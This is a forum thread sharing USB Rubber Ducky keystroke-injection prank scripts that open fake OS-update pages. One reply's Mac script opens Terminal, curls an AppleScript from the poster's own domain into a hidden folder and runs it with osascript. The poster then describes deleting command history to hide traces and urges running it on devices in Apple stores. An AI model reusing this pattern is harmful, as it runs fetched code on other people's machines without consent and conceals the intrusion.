[PRANK] Basic Update Installing Prank

[fachsimpeln]

Hi there,

I'm new here and I wanted to share a basic script that i wrote. It just opens up your webbrowser and navigates to the site http://fakeupdate.net/. On this site you can find many fake installtion videos, in this case i'm using the Windows 98 one.

This script is just a basic one, for other beginners like me...

Here's the code:

REM FakeUpdate v.1.0
REM This basic Script just opens the website fakeupdate.net, where you can find videos of os installtions...
REM Author: fachsimpeln
WINDOWS d
DELAY 500
WINDOWS r
DELAY 500
STRING http://www.fakeupdate.net/windows98/index.html
ENTER
DELAY 1000
F11

I hope you like it,

After F11 and a long delay you can add "ENTER" for a fake BOSD :-)

Very good idea

Love it :D

I really loved this idea, so I made one for mac. I have expanded upon the idea a bit and added randomness to giving the kernel panic (pressing the enter key on fakeupdate.net). My implementation requires grabbing an applescript from my domain and creating a hidden folder to copy it to, (tries to) delete the folder for cleanup. If the folder is deleted the only footprint left is an open terminal (probably the most telling part).

Here is the duckyscript:

REM FakeUpdate Mac Version 1.0
REM Opens fakeupdate.net/apple in fullscreen
REM Author: hack MadProps: fachsimpeln and FredHilbert for the idea
DELAY 500
GUI SPACE
DELAY 250
STRING terminal
DELAY 250
ENTER
DELAY 250
STRING mkdir /Users/$USER/.cya
DELAY 250
ENTER
DELAY 250
STRING curl http://www.hacktaviststudios.com/open/open.scpt > /Users/$USER/.cya/open.scpt
DELAY 250
ENTER
DELAY 250
STRING osascript /Users/$USER/.cya/open.scpt
ENTER
STRING rm -rf /Users/$USER/.cya
ENTER

and then the applescript

##############################################

# Purpose: fuck with people by
# opening up fakeupdate.net/apple in safari
# and maybe having it kernel panic
##############################################

tell application "Safari"
activate # this opens safari
open location "http://www.fakeupdate.net/apple" # this takes us to the fake update page

  tell application "System Events" # basically listening for kb commands

  	delay 1 # small delay; I used it because I have a really old mac and if it takes
  	        #  too long to open safari and the page then terminal gets fullscreened
  	        #  as well, and that is not the functionality we want

    keystroke "f" using {control down, command down} # fullscreen keycode

    set x to random number from 0 to 1 # setting random number

    if x = 1 # checking if we want to press the enter key
      set dt to random number from 10 to 3600 # setting a delay timer from 10 seconds to 3600 seconds, or 60 minutes, or 1 hour

	  delay dt # this is the delay timer

      keystroke return # pressing the enter key

      # return "matched" # debugging, remove hashes to uncomment
    #else # more # debugging, remove hashes to uncomment
    #  return "no match"
    end if
  end tell
end tell

Have fun at your local apple stores

Had a chance to update the code today. Basically fixing dumb errors like not emptying the trash after deleting the file and adding more obfuscation code to close the terminal and delete the command history in it. I also added a line that disables the screensaver. 

Instead of adding walls of text I have attached the new files in a zip.
